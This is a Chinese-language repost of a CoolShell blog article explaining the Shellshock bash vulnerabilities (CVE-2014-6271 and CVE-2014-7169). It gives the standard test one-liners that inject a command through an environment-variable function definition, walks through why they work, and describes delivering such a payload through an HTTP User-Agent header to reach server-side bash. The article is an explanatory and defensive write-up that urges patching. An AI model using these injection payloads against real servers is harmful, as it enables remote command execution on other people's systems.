很詳細,要多看幾遍才會知道原理
來源:http://coolshell.cn/articles/11973.html
很多人或许对上半年发生的安全问题“心脏流血”(Heartbleed Bug)事件记忆颇深,这两天,又出现了另外一个“毁灭级”的漏洞——Bash软件安全漏洞。这个漏洞由法国GNU/Linux爱好者Stéphane Chazelas所发现。随后,美国电脑紧急应变中心(US-CERT)、红帽以及多家从事安全的公司于周三(北京时间9月24日)发出警告。 关于这个安全漏洞的细节可参看美国政府计算安全的这两个漏洞披露:CVE-2014-6271 和 CVE-2014-7169。
这个漏洞其实是非常经典的“注入式攻击”,也就是可以向 bash注入一段命令,从bash1.14 到4.3都存在这样的漏洞。我们先来看一下这个安全问题的症状。
Shellshock (CVE-2014-6271)
下面是一个简单的测试:
1
| $ env VAR= '() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test" |
1
2
| Bash is vulnerable! Bash Test |
很快,CVE-2014-6271的官方补丁出来的了——Bash-4.3 Official Patch 25。
AfterShock – CVE-2014-7169 (又叫Incomplete fix to Shellshock)
但随后,马上有人在Twitter上发贴——说这是一个不完整的fix,并给出了相关的攻击方法。也就是下面这段测试代码(注意,其中的sh在linux下等价于bash):
1
| env X='() { (a)=>\' sh -c "echo date" ; cat echo |
1
2
3
4
5
| $ env X='() { (a)=>\' sh -c "echo date" ; cat echo sh: X: line 1: syntax error near unexpected token `=' sh: X: line 1: `' sh: error importing function definition for `X' Sat Sep 27 22:06:29 CST 2014 |
原理和技术细节
要说清楚这个原理和细节,我们需要从 bash的环境变量开始说起。bash的环境变量
环境变量大家知道吧,这个不用我普及了吧。环境变量是操作系统运行shell中的变量,很多程序会通过环境变量改变自己的执行行为。在bash中要定义一个环境变量的语法很简单(注:=号的前后不能有空格):
1
| $ var= "hello world" |
你可以做这样的测试:
1
2
3
4
5
| $ var= "hello coolshell" $ echo $var hello coolshell $ bash $ echo $var |
为了要让shell的子进程可以访问,我们需要export一下:
1
| $ export var= "hello coolshell" |
如果你要查看一下有哪些环境变量可以在子进程中可见(也就是是否被export了),你可使用env命令。不过,env命令也可以用来定义export的环境变量。如下所示:
1
| $ env var= "hello haoel" |
bash的函数
在bash下定义一个函数很简单,如下所示:
1
2
3
| $ foo(){ echo "hello coolshell" ; } $ foo hello coolshell |
1
2
3
4
5
6
| $ foo(){ echo "hello coolshell" ; } $ foo hello coolshell $ bash $ foo bash : foo: command not found |
1
2
3
4
5
6
7
| $ foo(){ echo "hello coolshell" ; } $ foo hello coolshell $ export -f foo $ bash $ foo hello coolshell |
好,现在要进入正题。
bash的bug
从上面我们可以看到,bash的变量和函数用了一模一样的机制,如果你用env命令看一下export出来的东西,你会看到上面我们定义的变量和函数都在,如下所示(我省略了其它的环境变量):
1
2
3
4
| $ env var=hello coolshell foo=() { echo "hello coolshell" } |
黑客定义了这样的环境变量(注:() 和 { 间的空格不能少):
1
| $ export X= '() { echo "inside X"; }; echo "outside X";' |
1
2
| $ env X=(){ echo "inside X" ; }; echo "outside X" ; |
答案是肯定的。
1
2
3
| $ export X= '() { echo "inside X"; }; echo "outside X";' $ bash outside X |
我们并不一定非要像上面那样创建另一个bash的子进程,我们可以使用bash -c的参数来执行一个bash子进程命令。就像这个安全漏洞的测试脚本一样:
1
| env VAR= '() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test" |
1
| env VAR= '() { :;}; echo Bash is vulnerable!' bash -c "echo 如果你看到了vulnerable字样说明你的bash有安全问题" |
bash漏洞的影响有多大
在网上看到好多人说这个漏洞不大,还说这个事只有那些陈旧的执行CGI脚本的网站才会有,现在已经没有网站用CGI了。我靠,这真是无知者无畏啊。我举个例子,如果你的网站中有调用操作系统的shell命令,比如你用PHP执行个exec之类的东西。这样的需求是有的,特别是对于一些需要和操作系统交互的重要的后台用于系统管理的程序。于是就会开一个bash的进程来执行。
我们还知道,现在的HTTP服务器基本上都是以子进程式的,所以,其中必然会存在export 一些环境变量的事,而有的环境变量的值是从用户端来的,比如:HTTP_USER_AGENT这样的环境变量,只由浏览器发出的。其实这个变量你想写成什么就写成什么。
于是,我可以把这个HTTP_USER_AGENT的环境变量设置成上述的测试脚本,只不过,我会把echo Bash is vulnerable!这个东西换成别的更为凶残的命令。呵呵。
关于这个漏洞会影响哪些已有的系统,你可以自己Google,几乎所有的报告这个漏洞的文章都说了(比如:这篇,这篇),我这里就不复述了。
注:如果你要看看你的网站有没有这样的问题,你可以用这个在线工具测试一下:‘ShellShock’ Bash Vulnerability CVE-2014-6271 Test Tool。
现在,你知道这事可能会很大了吧。还不赶快去打补丁。(注,yum update bash 把bash版本升级到 4.1.2-15.el6_5.2 , )
关于 AfterShock – CVE-2014-7169 测试脚本的解释
很多同学没有看懂下面这个测试脚本是什么意思,我这里解释一下。
1
| env X='() { (a)=>\' sh -c "echo date" ; cat echo |
- X='() { (a)=>\’ 这个不用说了,定义一个X的环境变量。但是,这个函数不完整啊,是的,这是故意的。另外你一定要注意,\’不是为了单引号的转义,X这个变量的值就是 () { (a)=>\
- 其中的 (a)=这个东西目的就是为了让bash的解释器出错(语法错误)。
- 语法出错后,在缓冲区中就会只剩下了 “>\”这两个字符。
- 于是,这个神奇的bash会把后面的命令echo date换个行放到这个缓冲区中,然后执行。
1
2
| $ >\ echo date |
1
| $ > echo date |
1
| $ date > echo |
能发现这个种玩法的人真是个变态,完全是为bash的源代码量身定制的一个攻击。
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell.cn ,请勿用于任何商业用途)
——=== 访问 酷壳404页面 寻找遗失儿童。 ===——